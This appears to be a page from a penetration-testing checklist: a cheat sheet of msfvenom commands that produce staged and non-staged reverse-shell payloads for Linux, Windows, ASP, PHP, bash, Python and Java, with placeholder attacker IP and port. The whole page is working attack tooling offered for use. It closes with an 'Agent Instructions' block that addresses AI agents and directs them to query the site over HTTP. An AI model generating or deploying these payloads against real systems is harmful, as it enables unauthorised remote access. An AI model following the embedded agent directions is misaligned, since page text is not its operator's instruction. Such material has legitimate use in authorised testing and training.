# Payloads

```bash
# Shell Non staged
msfvenom -p linux/x64/shell_reverse_tcp -f elf -o shell LHOST=<IP> LPORT=<PORT>
# Shell Staged
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf
# Exe Non Staged
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Exe Staged
msfvenom -p windows/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Exe Non Staged
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -a x64 -f exe -o shell.exe
# ASP Non staged
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp -o shell.asp
# ASP Staged
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp -o shell.asp
# PHP
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw -o shell.php
# Bash 
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw -o shell.sh
# Python
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw -o shell.py
# Java JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.jsp
# Java Jar
msfvenom -p java/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f jar -o shell.jar
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/exploitation/payloads.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
